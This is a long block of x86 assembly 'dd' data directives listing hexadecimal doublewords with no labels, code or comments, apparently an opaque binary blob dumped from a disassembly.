dd 0A02D3857h, 7127515h, 7181579Eh, 0BF39551Ch, 3D6187B4h
dd 6B840C36h, 0C2C08BFFh, 0DDABE1B4h, 6341554Ah, 0BF00E271h
dd 5C7CE169h, 0B518AD66h, 139D1620h, 427E9135h, 52CE2DA3h
dd 0C827CE17h, 602FC014h, 0AD5B858Bh, 6661DA0Bh, 0DCF39E30h
dd 304C38h, 0DDA731D2h, 166CBF84h, 646615ACh, 6AB222h
dd 8B1D5EB1h, 0F80B2Ah, 77D4F147h, 0BE66BA18h, 5F59CE76h
dd 8D0F842Dh, 9EFBF7D8h, 9FB70B97h, 0CDF1E786h, 2D5CE9F2h
dd 0AC0F3F34h, 0C8B66FEh, 0B44DD5ACh, 82C6296Eh, 5919A5FEh
dd 0B03727DBh, 0B8D52C3Dh, 6409510Bh, 0B3837D6h, 33A969C2h
dd 7E8052B7h, 9B32BEA7h, 770C4987h, 0ABF5FC17h, 42C145DAh
dd 0D813F33Dh, 0D554B52Bh, 1F01BFDFh, 90ED049h, 0C665E9BDh
dd 22F3B403h, 0E4C421C2h, 0F5092AA9h, 200C6884h, 0C22B05BDh
dd 8E98D27h, 824679F7h, 0F6D7BFD5h, 6B238640h, 0F971D400h
dd 0AF12CC09h, 5E8A3BA3h, 25CDB58Ch, 40B66E3Bh, 10755C31h
dd 52E1BE00h, 607F7E17h, 0C26A9AEAh, 59FBA950h, 371A00D6h
dd 7ED77729h, 1E01AFE4h, 0C58C8394h, 192CB922h, 0DC56B472h
dd 0AFE35B01h, 9CA98B4Ah, 40C13960h, 8D2D2131h, 0DA3A8A75h
dd 8AD79D13h, 2C7D9561h, 2893E025h, 0DB988431h, 72ADCED0h
dd 33F04801h, 0BBD85E79h, 884FB818h, 264BA41h, 833D2848h
dd 456201E1h, 0D8DD871h, 47149D23h, 0EDE646A6h, 822D520h
dd 100D8D29h, 54BD3D22h, 0C0372D16h, 2E00FC1Ch, 0CDD0A128h
dd 0BC710B21h, 0CDDF6061h, 0C09160F7h, 3C505A67h, 3F2ECAA2h
dd 3A606722h, 0F8BB3872h, 8E90049Dh, 9D83DBA3h, 0A848291Bh
dd 0DE79268Fh, 9D71248h, 0E08BC900h, 0C0FBEDF5h, 667430A0h
dd 2A9DB818h, 0BD0E2D50h, 2DE95D4h, 0B2A57066h, 0D4602D90h
dd 0C906DD7h, 0D91AC923h, 21002356h, 3035A521h, 7FCD8E05h
dd 55D19F0Eh, 9D310977h, 0A78570E9h, 0F5BD0473h, 5F17140Bh
dd 86001A6Eh, 3D4CB49Dh, 9A3EC76Dh, 800F1334h, 7F3DBACDh
dd 0D94C1353h, 41156D10h, 5F8339D0h, 5F4C27ABh, 1230A585h
dd 3065A512h, 0EA6D13AAh, 0EC1E38EAh, 583094C0h, 9A532174h
dd 880C2190h, 81000249h, 0C304F9DAh, 4678D077h, 0D7B81F5Dh
dd 7C170B01h, 26949323h, 73BEC0h, 600AE4ECh, 14B18D33h
dd 850F9499h, 1B69251h, 9A449600h, 5AECBD93h, 0CB15D300h
dd 7303488Bh, 7143E84Bh, 2C6AA961h, 893739A7h, 0A740B00h
dd 5016D42Ah, 0EBC5CCCEh, 4830C648h, 5E4920A1h, 0ED1FEABCh
dd 78815C6Fh, 9E11864h, 42AD7Bh, 0FF60B6DCh, 0DFC9A0h
dd 0A50DFE6Fh, 0AD6D734Dh, 0A8D65005h, 12C1578Bh, 31265EFFh
dd 20D9951Ch, 0D0DF8102h, 0C9238441h, 0B87E022Fh, 0BEEBC303h
dd 0DBA0F07Ah, 0C84000AEh, 292F77F1h, 5491959Dh, 4720B58Bh
dd 631764D7h, 0E6F9D88Bh, 0D72BB2F5h, 87DBEB86h, 93DB1380h
dd 6E09D0ECh, 70B6C610h, 0B58909A6h, 0FA340315h, 1F8D9537h
dd 0F7AD686Ah, 7B9B05A0h, 230A8AE6h, 22B99C41h, 93CF2296h
dd 0A4CF1688h, 6881C6E4h, 0ACC761CEh, 19E7F8A6h, 0C194002h
dd 2A94E3DAh, 0C07BEDEBh, 65B79F10h, 60714678h, 5D2F9E98h
dd 11E6AE0Dh, 20FD612Dh, 0D6F655D2h, 12AC03C6h, 5054464Fh
dd 0B8A9DC5Dh, 0B03B0706h, 1995897Fh, 7EB99A1h, 5E33161h
dd 0D3CB9B40h, 55953A80h, 80151FA6h, 2E6D27DFh, 0C0B122C0h
dd 9DB700C7h, 8A14507Bh, 0C1008BCAh, 1C8F4FEBh, 3ABFA25h
dd 0DAC6A108h, 0D4D0A4ACh, 0E4E25CD2h, 340ECEE0h, 0A11BF531h
dd 0D129B327h, 0FDD5BE4h, 17E62AC7h, 87DF9E9Fh, 0AA6DB67h
dd 87007C01h, 2352DDB4h, 0E19ED920h, 28AFE911h, 717E50CEh
dd 552F0594h, 133D59B9h, 0D5A884B8h, 0C20903C8h, 44BAC704h
dd 0DC76718h, 46AE2C32h
dd 0EBC00323h, 7D02BD81h, 14D560E8h, 0DD8BB99Ch, 0D9C5F522h
dd 0D0311364h, 9D8D0004h, 0BBB55E0Eh, 8A119868h, 0B45B1A10h
dd 0E03AAD8Ch, 1699AB9Fh, 0C15FB901h, 0E18589F8h, 66A8C5B1h
dd 8D04ECBAh, 1B34F6F8h, 0DB841818h, 7150CC49h, 8B579FAAh
dd 1CE25FD7h, 1B5D9282h, 88B3400Ch, 0C400D281h, 505E0C76h
dd 33D61CBAh, 60376EC5h, 0F8D907C8h, 0F56A2D62h, 89610018h
dd 6F9E359Dh, 6D4BFF1Fh, 802CBD09h, 0DB6D34Dh, 8B69976Dh
dd 0DD034123h, 23E2BD08h, 0DE853FA0h, 99CEC2D2h, 4DC11888h
dd 0C2F5FE14h, 89086020h, 0B9222060h, 8D7F73A3h, 194DFCC4h
dd 71386D14h, 0F2889141h, 2880F0Ch, 0EC488A49h, 197D121Ch
dd 5ED09333h, 0DA6BFB1Fh, 0A96B6600h, 0B529EA3Ch, 3B78BD5Dh
dd 45858856h, 0B65A052Ah, 0BBE3EE10h, 4009E824h, 0D49AA7D2h
dd 927EBA3Eh, 50F10F94h, 97D68430h, 44123B84h, 5A803F64h
dd 0E639C177h, 732B3867h, 6F86BBBAh, 36301596h, 0DA400897h
dd 0A93D3C4Fh, 6018F7D7h, 0BF58615Dh, 81407A7Eh, 6BBC0DAh
dd 0B5FF5BACh, 3109AFD1h, 100BED85h, 5F80DB53h, 0FD6EAF17h
dd 157ECF2Fh, 0B999013Fh, 0BD89E988h, 0FF23E8CEh, 28667CD0h
dd 84E4CBE2h, 0DDF950D6h, 1C1D4345h, 0F72F0132h, 920B2437h
dd 0B164C1h, 0B908C243h, 11F86549h, 0B503800h, 1CA13CCEh
dd 5F895E0Fh, 81660266h, 0B3823AC7h, 81449509h, 549CF18Eh
dd 0C7AA6C45h, 0A4A7A620h, 74702F00h, 68854999h, 0B67C1663h
dd 1ACF08F6h, 6FB26092h, 44A0E400h, 89E25E7Ch, 0D9299100h
dd 0C59E90CDh, 160200ECh, 816198BCh, 0C9E62434h, 0A07CB92Eh
dd 231B2908h, 0DE8224E6h, 0EE108601h, 0AB183E06h, 22D55C89h
dd 0E4820814h, 0E84E105Eh, 8D24BB08h, 5A5042C2h, 74DAF288h
dd 33001846h, 0E0C819B7h, 1090CE8Ah, 46BD09AAh, 2AA9D100h
dd 3CBFA1F1h, 88495803h, 84DD098h, 0C3BEAFB1h, 7A0AE22h
dd 60490EEFh, 8A568000h, 0B368EEh, 528B5CDFh, 405ABB60h
dd 0E0578427h, 4C5F6102h, 8605E981h, 4848C28Dh, 457215DBh
dd 6019C44Eh, 25EC9734h, 306074F4h, 0DAA5142Dh, 0F7803429h
dd 4A8C12A3h, 898B006Ah, 27F6C4A8h, 0E800465Bh, 0C5FEF7B3h
dd 289B15BAh, 0BBE33FB7h, 0E18271A2h, 9DDF303Ch, 0E5040F41h
dd 0CA81AF20h, 7C9015B3h, 6C8BA92Eh, 60F26DF7h, 3F3836B5h
dd 802CC239h, 55C1F068h, 0B98F0FEBh, 9B8245Eh, 0B7826160h
dd 9F625951h, 0B173A8A3h, 4A6030FAh, 0F6BDAFF4h, 3C374992h
dd 0D47FACBDh, 0F173D11Fh, 130D8C7h, 0E6F4BD47h, 89732947h
dd 3C68B72Fh, 87814D7Eh, 7AE6800Ah, 32E2179Bh, 0C8D22139h
dd 19FEBD35h, 0A6BE5648h, 2A4D0993h, 494A5794h, 9F80639Bh
dd 30526748h, 6400D675h, 0EF1704B9h, 5696802h, 8ABDB7C8h
dd 80A641F5h, 4A31A2E1h, 3FEF5FA2h, 0B48400ACh, 626CAF55h
dd 0BF8802B0h, 2F8CA129h, 495BA1B2h, 2B8D470h, 726BB16Fh
dd 0D783F99Fh, 0B15831BDh, 6C2C14F7h, 952B04C9h, 6188082Dh
dd 62151B9h, 0F24C009h, 6A03002Bh, 6CEA8004h, 5E12A968h
dd 0FF41CAF4h, 350BB157h, 85083E37h, 162C0E15h, 7A30026Dh
dd 5EBA156h, 0CAA7B910h, 5A756102h, 0C4B8B250h, 0ACA69EFDh
dd 0CA8A04C6h, 914E8959h, 8B09026Ch, 1BDB58CBh, 7A2B5F70h
dd 1F5D0C0Bh, 0DDB892EDh, 95B02195h, 0ED7F3055h, 466ECD3h
dd 725F940Ah, 3D90C16Bh, 765E1619h, 0DE37941Ch, 0C4EE3E06h
dd 0EDB6216Ch, 0BF0F1929h, 0E62DC7F9h, 0C59F2813h, 39180A29h
dd 801545E0h, 111EDE68h, 0FBD5832Eh, 0EE2205ECh, 7C2E7CD2h
dd 38001C23h, 66805B19h, 0CE711403h, 9013D48Ah, 0A3A352h
dd 0A12149BAh, 9D505902h, 0E04EF010h, 74CB600h, 8D39F0Ch
dd 95291790h, 0B02D2CDh, 0EDE0904Dh, 30D329BBh, 6C90DC12h
dd 952A2351h, 5F48F5ADh, 0A7BB29C2h, 4228E17h, 196A6152h
dd 50291CEBh, 0F88B4B60h, 0F78081D1h, 653C7276h, 1794E47Dh
dd 306159E0h, 473DEEA7h, 48A2FC00h, 0CFD71EB0h, 0CD833CE3h
dd 918B61A5h, 98C5B8CDh, 455DBAECh, 197D950Bh, 1E0246FFh
dd 80A87921h, 0DAED976Bh, 8D1AD8D9h, 13F0C5B5h, 88F1F315h
dd 29313DEh, 8CCBD884h, 0F29010E8h, 0A903E1B8h, 0B4DD571Ah
dd 15CA80Ch, 3FAF12FEh, 0E92E04F3h, 4FED1003h, 0DB5F6D20h
dd 9E1FC4Fh, 893F9A28h, 15BAE8Ah, 8A5150C9h, 5F3039F0h
dd 4796BABh, 0CD5A8F0h, 1D2173BCh, 1A181CF1h, 2A458E00h
dd 930C5B65h, 7144B84Fh, 0B529800Dh, 13A0A94Dh, 6A0EC00Bh
dd 7F9E1647h, 0E1970F80h, 0B35C6C0Eh, 6E9A456Dh, 46015E6Eh
dd 2F96F914h, 6BF73136h, 74451220h, 3533011Ch, 942126E7h
dd 19F17FCCh, 2B15DB01h, 0EEB56207h, 7D7DCFC6h, 5DBD19C4h
dd 3F469FA4h, 71A53120h, 607635CAh, 0C8404CDEh, 8E82BE00h
dd 8F8592FDh, 5FC6890h, 960DC82h, 0E2B74E6h, 0F9C9746Dh
dd 0FAE3458Bh, 1A51B8F2h, 81017E32h, 0B51244E9h, 11E23871h
dd 0F8442229h, 9E465E84h, 14FFC309h, 19A390A0h, 1FF62FECh
dd 606092F7h, 50C5CFBEh, 0BF07DE29h, 4F601F74h, 0E057875Fh
dd 95891333h, 5996C04Dh, 20707E80h, 31F1A0CDh, 84915643h
dd 27BF6000h, 0D58A889h, 0E4D32AB1h, 58DCA0BEh, 0C84A6BFDh
dd 0EA4C85C1h, 31828F9Eh, 1928A26Eh, 150E5618h, 0E95A8011h
dd 0BD014E27h, 12B60F62h, 0FE60E6A4h, 0B6AAB912h, 4540B001h
dd 708248ECh, 0CF14FD19h, 4A542FB5h, 0ADBA0840h, 125369E3h
dd 62F75550h, 267D6480h, 42D8B502h, 0DC265E9Bh, 505E2206h
dd 9597EE8Ah, 9A01FC37h, 0B531B6DFh, 0B27EEAC6h, 0CB6684h
dd 2B67E54h, 0CDB17908h, 0D88BF801h, 0C0B46056h, 7100F233h
dd 0F97A261Eh, 5F13A90Ch, 22045961h, 580B2279h, 7D704AF3h
dd 81F95BD7h, 153384CBh, 0E90931FCh, 0A2F3057Bh, 7FA0A8D0h
dd 93DD1D58h, 473D6AEh, 91958D0Fh, 89388054h, 50CB856Ch
dd 0A0C6A66Fh, 52B1404h, 59FC6FEEh, 765C14E9h, 0AB54BD39h
dd 8448505Fh, 570540E5h, 59715171h, 9D933BFAh, 0FE43669Ah
dd 0AA06DCD0h, 79FDDF27h, 1DA12870h, 0AB5C4A62h, 14297288h
dd 0F04D9BDh, 0A9E22F31h, 0F6FB05FFh, 0E030B3CCh, 2C1A7FD2h
dd 80F5638h, 40122365h, 6D00F16Fh, 9E75C9C6h, 0A4AD180h
dd 2620A68Dh, 482D4E25h, 8461F21Dh, 0FCC201B7h, 0FB16DE3Ah
dd 68D011F3h, 17DA21B9h, 3160310Fh, 0E8DC76E8h, 2C1F7748h
dd 0EDC098A2h, 33BE0284h, 82B80666h, 6C5A61ADh, 8673D1A2h
dd 39373070h, 0BF170B3Fh, 4E108903h, 0C01A880Fh, 0C7B2933h
dd 4CFBB30Bh, 0EF8C160h, 699D8900h, 611C5092h, 0B7A75090h
dd 156F005Dh, 0D6806B0Fh, 3A675858h, 77F026F1h, 0FEAABF00h
dd 175069F8h, 88870F60h, 0AFA6E173h, 44C58600h, 956F7C83h
dd 695102D0h, 9FCEEC31h, 36969752h, 5C292313h, 27118C02h
dd 79FA508Ah, 8D006D53h, 3EF9ACC3h, 13F6D829h, 30AE9993h
dd 95B00573h, 37043B70h, 5F977D0Fh, 0F6D860C2h, 0A004DC00h
dd 58563BD3h, 64CE55C2h, 0F40E5860h, 0D93AE1C0h, 5DD419E9h
dd 6EC10937h, 642747C6h, 37A0601Bh, 7F7E00AFh, 8A8C9461h
dd 0FB2E8BF0h, 0F6DE9E58h, 0C85C0013h, 275809CDh, 572504DDh
dd 61094A66h, 1E051F1Fh, 2CD0DD1Bh, 24E10875h, 2D8D3105h
dd 1E6A42D1h, 6DF6E2Eh, 1909CC8Eh, 2A212270h, 5CB86CBh
dd 5CFDD585h, 77279EBCh
dd 0B264B2h, 286687C8h, 101CA3A9h, 0EBD82405h, 3AB4E860h
dd 6E201CD0h, 5C00BAA0h, 7D87E547h, 0C700A55Fh, 0A1622F02h
dd 5CF78B8Ah, 3841ED5Eh, 0AE21202Fh, 85000523h, 4748FF78h
dd 163C181h, 512019DFh, 2661A5D9h, 8D8B066Ah, 0A2F601CDh
dd 80D149h, 49857C21h, 640071F9h, 69185C83h, 219DDDAh
dd 2DCBF7D6h, 3F4458FCh, 95294180h, 2481F54Eh, 427ED9E9h
dd 26118D83h, 880F5001h, 2636D9D6h, 10C607Dh, 7F164C0Eh
dd 40C2592Fh, 64776D5Fh, 0D34C601Ah, 94AE0527h, 20E8E113h
dd 661CD9C9h, 88906707h, 0E610D686h, 3959F9FFh, 5AF8509h
dd 0E4EA3D2Bh, 0E4DC70DEh, 0A48E028Bh, 0A045BC39h, 845CC50h
dd 5BB75820h, 447A84D0h, 0AB1BE2D0h, 14232D3Bh, 0C9FC9D09h
dd 0BF2AAD21h, 5900647Ah, 6612F17Dh, 3C2FB0BFh, 0C0284D61h
dd 5E600F84h, 0CC203E17h, 0B1044808h, 683C6E5Ah, 0A601C831h
dd 2171081Eh, 0BFB3E90Bh, 98350061h, 60ECD01Ah, 0B4404B9Eh
dd 26F904h, 21208993h, 8A60E28Eh, 0C01AD058h, 96864838h
dd 0AB2C00EEh, 0E19131D4h, 0DB3417C0h, 0F68C0261h, 89A3F73h
dd 76C21983h, 8D892957h, 0B5C7831h, 0BF1CC681h, 0BD420421h
dd 20A2F885h, 61E91615h, 0A0EDA7F8h, 94C9D8Eh, 8B30FDB4h
dd 2B80BE89h, 0DA9168CBh, 0F77CD63Dh, 0B03C59BCh, 0E280125Ah
dd 2595B8A2h, 0C75514C9h, 6214C4BDh, 3517E184h, 9EFFB974h
dd 1E8B4A13h, 59DF7FD6h, 0C3452A86h, 12180D53h, 1A228A0Fh
dd 0BF17C0F9h, 5AFD4CABh, 0EAB79777h, 55F67201h, 5120DCB9h
dd 0CD744BDEh, 0B8B07D69h, 9FEC0E10h, 0A10275F3h, 0A3794038h
dd 2B5B7A00h, 711B67A7h, 0F9C2C239h, 47C0AFF3h, 3216B4BAh
dd 0E50A5650h, 8726AC6Ah, 5552FA16h, 0C85F97E3h, 0BB00EF55h
dd 0DE5E8023h, 34709E2h, 0A6D23F48h, 90E9C2D4h, 0E6207F60h
dd 34D7658h, 2A41A9C6h, 19708B0Fh, 0AFB85A01h, 61599E3Ah
dd 2D6C660h, 0A6A8BF90h, 0D2825688h, 690831ADh, 69A9BE80h
dd 1D051F9h, 0C2F707DDh, 3A42DBB4h, 0B9858402h, 13F5082Fh
dd 0A287A7C8h, 0C2BD3575h, 808BDAD3h, 76FF8613h, 527E04EAh
dd 9B5FF58Ah, 0F8D6C00Eh, 0AE73268h, 0D41592ADh, 0EED01AEDh
dd 0D6935655h, 58F2F4BFh, 294E4585h, 4C059B13h, 0F1B0D1BDh
dd 4AC2585Fh, 55B5310Bh, 9D0985A0h, 5D9518E1h, 0A8913891h
dd 0D203A1Dh, 0A8CD971Ch, 8D6028C3h, 2058F186h, 61481BE1h
dd 9A913EEh, 3D2DA4A2h, 0C0BA24E1h, 0F01B0E10h, 0B14DEA81h
dd 60FEC283h, 8331F548h, 0A238FFCFh, 50812F9Eh, 0D7F2A87Fh
dd 0E8E6CCEFh, 2B5805A0h, 0F01AC264h, 8166ABC0h, 5A4D2538h
dd 1BB465Dh, 33C50B7h, 0D93A81D0h, 0D519AF45h, 0AC2D8326h
dd 0D95AD0B2h, 10C86093h, 0D24F9D0h, 4F3C4003h, 0D1C229DFh
dd 0C4FA3CB7h, 619A912h, 0C35BF805h, 0D1030C1Ch, 2B21201Bh
dd 2A08DB4Dh, 0BF834912h, 0C65206D4h, 0FF82F1h, 0A98110CFh
dd 514A3B0h, 0C03359B5h, 32F7FEC3h, 0DEBF2422h, 0DD7AC99Ch
dd 56D59A95h, 915A69AEh, 66F008D2h, 0D3EBCB05h, 0B12E8FDh
dd 36330087h, 6AC8539Eh, 0CC260E81h, 1D114889h, 12CB6028h
dd 8953F8D1h, 7831FC7Eh, 0C8ECCB00h, 50C17CFDh, 9FB204FAh
dd 0BBF7B539h, 890F4503h, 0FC330201h, 5A43C781h, 33C1ABA1h
dd 13472BF6h, 0BB60370Ch, 17817F09h, 18C0A7E9h, 77E87C5Eh
dd 0F104117Bh, 670B925Ch, 98A6ECABh, 8D11C18h, 14E96F39h
dd 0D41E00BBh, 0D0022EFAh, 58CB03A4h, 1FA5A7C9h, 0F8BD8790h
dd 51A83900h, 8F6FDF80h, 0FC370004h, 0EE81FD8Ah, 0C2244606h
dd 89027D64h, 0E13350A6h, 19890229h, 0A4488F0Fh, 2B90F960h
dd 8161CB01h, 0FFA670FEh, 8F6241C6h, 0D10F4622h, 67E3E9C7h
dd 17F8014Fh, 370023E7h, 438ABFDBh, 0CC82EB3Ch, 0C3211909h
dd 78DB2E00h, 4BBB103Eh, 7E911DD5h, 0FBEE4068h, 3C5CB772h
dd 863C05EAh, 804E3FD8h, 0F33498C5h, 0F6E71Dh, 63A49B07h
dd 3ED2BF5h, 0B7211301h, 9FD885D0h, 718AA20h, 51848AE7h
dd 954E6E01h, 2E523AC0h, 0AE037CEDh, 5C80BF63h, 0A2172F9h
dd 6B2F14DBh, 532B7820h, 6AF8C88Ch, 0C2DB36C0h, 223B468Ah
dd 2DC0001Eh, 6F0D1BDBh, 9C1CD7B8h, 7EC0EEB2h, 3E714A8h
dd 541600FFh, 846352C2h, 15007D35h, 198F3EE8h, 0C0E4D76Ch
dd 0C1BF88F0h, 0F77234E1h, 7D04F10h, 606D9064h, 23C5DB39h
dd 1B11138Ah, 0DB30077Dh, 41CE9EE6h, 800A6AFAh, 36E20348h
dd 1EEEC1D8h, 40A0B8B1h, 0D87C4C6h, 8B006C2Ah, 17ECA984h
dd 18E77201h, 0C11BA6D3h, 4073BF37h, 27AB911Eh, 23099959h
dd 0B7572180h, 2FA5FC40h, 8E654D00h, 0CD9B6056h, 0A26C1841h
dd 18252810h, 0FE6BB81Bh, 60DFC0A8h, 87DB052Ah, 19080B54h
dd 80F308DDh, 2A694021h, 249D87E6h, 1F141894h, 0F02E06D1h
dd 170078EAh, 63BDD907h, 19E2E070h, 8C8681Bh, 0AA2180FEh
dd 0F562BDD0h, 698F0AD4h, 80940B50h, 722C875Dh, 0F90F9481h
dd 863A3863h, 0A21066Ah, 0EA715488h, 6CF00688h, 7009180Ch
dd 1308BFh, 0E89D8864h, 4F4CA715h, 494880D1h, 1465F799h
dd 0F806D84Fh, 1BA2BC53h, 0ACC4030h, 6AE3AFEFh, 799F40A0h
dd 0DA00859Eh, 53992562h, 4370CAh, 5B1B21B6h, 17BA729Dh
dd 2E78C8C4h, 0FD233Eh, 316DDFE6h, 29003D99h, 0DCC77C7Ah
dd 294F0F85h, 0D16C026Ch, 687181Ah, 717491E3h, 8C20A863h
dd 55680006h, 0E0F1EF8Ah, 0EE60CEA6h, 0B7A49290h, 0ED2C2401h
dd 0E9F90AF4h, 749302E0h, 0B440F4C3h, 1F487A6Bh, 0C3BC8848h
dd 87992A64h, 88F61874h, 2A1D6D44h, 49801892h, 0EB051F48h
dd 2989100Ch, 50680CE7h, 0DAC10Ah, 39C9A5D1h, 0F7E6F3A1h
dd 5061C812h, 539D3020h, 0A2DF3C8Fh, 0CF6C9006h, 213B80Ah
dd 50433974h, 4004B0F0h, 8C32CC30h, 67BDDD0Eh, 66E30870h
dd 0AE043101h, 870CBDD4h, 0C515F580h, 940A1802h, 0BEE841EDh
dd 641DC824h, 1113D842h, 9DE1831h, 0F87066BDh, 0AD00001Ch
dd 45D7BDD5h, 0A09D0A63h, 20BEEA30h, 0CE1F33B0h, 32E038C4h
dd 0E7DC644Fh, 1544B467h, 0FA3DDE60h, 68A07D1Dh, 0CB209C28h
dd 0E350DD0Bh, 0C4DB3C01h, 58632B8Ah, 0DB33C680h, 0F64C52B7h
dd 0C2047391h, 0E51FA413h, 7FE31480h, 7CF303D0h, 0C99C3504h
dd 5068F0E9h, 0F88770E0h, 21E03A60h, 0FF6C6593h, 2EF21424h
dd 2930BDEh, 38CA2F4Bh, 1EB38BC0h, 0E0B0170Bh, 558C00A1h
dd 3EC0F42Ch, 38E0326Bh, 1FD0C4E8h, 8F1094A0h, 0D0A4A873h
dd 29348021h, 18027104h, 71A500DAh, 7060A225h, 100C6AB1h
dd 60177C9Fh, 0FCF03A38h, 7400306Ah, 3B7AFE46h, 31058A26h
dd 1FAF784h, 1D8C32A0h, 9164200Bh, 50EB6C38h, 0A7187BD4h
dd 9840ECE6h, 1B8E0B35h, 40032182h, 30240915h, 8A4024F1h
dd 19DA638h, 0B85D635h, 2204444Fh, 16E2320h, 8AC6DB3Ah
dd 0F84E1Bh, 60DB31C4h, 1CE846C2h, 42684211h, 3BACB770h
dd 913A8480h, 0DE4D6784h, 18081014h, 4665360Fh, 7B57AFC0h
dd 24B0F3C2h, 0F321444h, 9A287DF9h, 0E527A960h, 0F4014434h
dd 0B819408h, 804038DBh, 912BFF57h, 181AD954h, 5F17579h
dd 0A72E0D12h, 71A04246h, 0D4CCD0E7h, 3640C204h, 2262C391h
dd 40BA5A20h, 0E01A1C60h, 269E9D08h, 13AD0594h, 0C8FC8E18h
dd 0E3D2C025h, 0E0008DE5h, 0EB2445F3h, 288F72ACh, 3DAC3470h
dd 5850FEA7h, 0C1058CD1h
dd 0BB913540h, 593028h, 7DA940B9h, 4D707F6Eh, 8A197409h
dd 0F0C002D6h, 0E4040938h, 2A6260BAh, 648723D9h, 3E0FF211h
dd 0CFAE2A6Bh, 98B3CCA6h, 2E647C85h, 0F1F3167h, 0FC48256Bh
dd 1B003066h, 9D17975Eh, 24A5885Ch, 13DC2064h, 8FC25A1h
dd 35C06900h, 468AC1DBh, 0FA1F2233h, 3FDB002Ch, 7C636B07h
dd 0DA1DC3B8h, 5D8B8B9Ah, 2A7020F4h, 61CD5489h, 4FD910EDh
dd 888C4E08h, 0D19CC3F4h, 808EE880h, 0B70214Dh, 17EA490Fh
dd 801F91E0h, 7B540F75h, 19B2021Ah, 0CC844C9Ch, 4B5C6541h
dd 0C1F88850h, 0CC2CEF31h, 6801B655h, 0FC9BABDh, 91C43913h
dd 0C8284C03h, 747D6002h, 6C47155Dh, 806524C4h, 0D568EA5Ch
dd 1DF90C00h, 0BE519280h, 7D4304A5h, 0C2953633h, 0EC42DFA2h
dd 1B11EC1Dh, 7CA0C80h, 6C242987h, 0EE832405h, 0E8E5DAC7h
dd 681D279h, 8BF609D8h, 0A322101h, 6017A99Ch, 3216F578h
dd 0C590967h, 2100BC63h, 0F176687Dh, 0C27049h, 2C9CC602h
dd 977484D1h, 0A0915476h, 6580BD11h, 8C87DE2Ah, 41FB448Ch
dd 852A6E0Eh, 2E7E8031h, 4F97934h, 60958851h, 7078812Bh
dd 0BE58911Ah, 0DD2A6680h, 448C8487h, 6F0142F7h, 0A1FD8C2Ah
dd 5AC89288h, 5E8096EBh, 0F77E1F46h, 0CBEC28E5h, 9AA7D90h
dd 0F525748Fh, 9C457062h, 5E6025E4h, 7400BEFCh, 4FB61FEDh
dd 25103377h, 8A2D487h, 8381CD22h, 4207A991h, 6130B980h
dd 87DA102Ah, 6A3DE06Ch, 992072Ah, 40F8BB27h, 8C8960CFh
dd 0B850DFE5h, 74A5738h, 0EC557044h, 0EAC9910Fh, 0C665B04Dh
dd 0CAFCCA00h, 9DD7ED3h, 1C3D8B74h, 2E20465h, 8DE01B04h
dd 0F5E227B9h, 0B0598132h, 0DA8EA2Bh, 0DC32A9E9h, 93C0E8F7h
dd 0B11FA6D6h, 15CA000Ch, 2E19C16Eh, 0C6D38612h, 53182C14h
dd 3019A2C4h, 731EA8D3h, 62D9F166h, 242C43B8h, 0D0EF6B15h
dd 0CF4C9D02h, 0DCF8C96Dh, 6C836F00h, 3E32BA5Eh, 0C43853B9h
dd 543014E2h, 3497098Ah, 7C2B7172h, 18919097h, 129D69Eh
dd 8F0E24F7h, 90C460D7h, 128C3240h, 181AA0ADh, 291418D0h
dd 0E0598282h, 91DC4C09h, 18FC71CCh, 0C4293C88h, 1A494A4h
dd 0F16FD63Fh, 9B2024F5h, 0A2CABC00h, 0BFFD8693h, 93C65C84h
dd 0F1B8201Ah, 1844E8C7h, 0E5756660h, 6D2B460Eh, 0DFA50515h
dd 8EFA6BC0h, 0B10D7074h, 85D41100h, 0F8C240C6h, 44F84CE3h
dd 0BE045E21h, 0A213FE40h, 7275C7C0h, 0A1F0904Eh, 0DF18348Ch
dd 7065BD1Eh, 0F9016A5h, 0F7BDD6ACh, 984DE760h, 6C995038h
dd 0E0181EF9h, 0CEB3C901h, 4628D616h, 249442F4h, 0A9C439F1h
dd 3FCD0DCh, 0D4610086h, 2ADAB082h, 70F827B3h, 0C791061h
dd 8C501E7Dh, 588F6C90h, 688078F8h, 2A50BF72h, 0B420A094h
dd 9B78D893h, 4F7B0ED9h, 45010F69h, 68830D57h, 0E46C89A0h
dd 915C3ECCh, 1054595Ah, 0C4360D79h, 5129E3F0h, 6C2F2E13h
dd 0A0A4A0D3h, 1301A2h, 4296683Ah, 0AF758C57h, 0BFA8DB1Dh
dd 0ABC0C480h, 727E1Fh, 0C8E1865Ah, 0DCAD99DAh, 5A83348h
dd 23ECB6F2h, 28BE900Dh, 96DD85C8h, 0FB465EB4h, 8DC9F24h
dd 90BD1688h, 587C2178h, 0F5E8E444h, 0B964008Ch, 0D91E60D4h
dd 24B950F7h, 0E0C4310Eh, 89FCF474h, 47780A37h, 10F86ABAh
dd 8CFF0B48h, 41B86EF0h, 5790841Ah, 1C88EB40h, 8ECF4043h
dd 9EB97C00h, 3A070116h, 72365BD9h, 56052FFCh, 465A2038h
dd 0A2F0539Bh, 3ECC302Dh, 618F7039h, 0F3970AD1h, 88F6B851h
dd 2E70B872h, 436C989Dh, 0E48D1487h, 78F07464h, 7EC81752h
dd 0B44F1A40h, 0D2EC8004h, 0DE8EB45Eh, 3FCE890Fh, 406F8887h
dd 8017C88h, 0B767A0A0h, 142CD324h, 490A5D01h, 802985F6h
dd 0C12BA719h, 5F2AEC36h, 6E0D5200h, 1AA9C85Bh, 73E400ACh
dd 0DDCA7670h, 62583644h, 3C031E3Ch, 3A9097FAh, 648EF824h
dd 30040184h, 9DA90D99h, 6260A250h, 2CBF1A48h, 530B22Eh
dd 0F73E0E9Dh, 7F302E1Dh, 67053A8Ch, 25FF4F9h, 6342B35Eh
dd 0BC8EBF81h, 3374464h, 0F8F12Fh, 0B3DE6059h, 0B92CF5FAh
dd 93785900h, 9FA75A40h, 0DA0F2A89h, 2F90C880h, 60BDDCC0h
dd 68C85C70h, 0BDD3A7E0h, 3B081D00h, 0DFA6A372h, 5473F875h
dd 916BDC12h, 30E50110h, 0CEB97AF3h, 50B48861h, 0F67836B4h
dd 0C3B6BC00h, 81667B92h, 485098C8h, 2CBC5871h, 74AE488Ch
dd 0ED8C2A04h, 778C0F0h, 0F44FF37Ch, 1E232C3Bh, 5A0A9A00h
dd 46F9CAh, 0D3B88127h, 8F66C709h, 81048C39h, 84910115h
dd 689DF177h, 3758632h, 38008018h, 0D8FB59D1h, 9862FEC2h
dd 2ACC2010h, 6C2617E0h, 0F0A648DEh, 0DD7300DEh, 0E2F9F94h
dd 72765934h, 641ABC24h, 0A5A200BAh, 93B849C8h, 7CC70721h
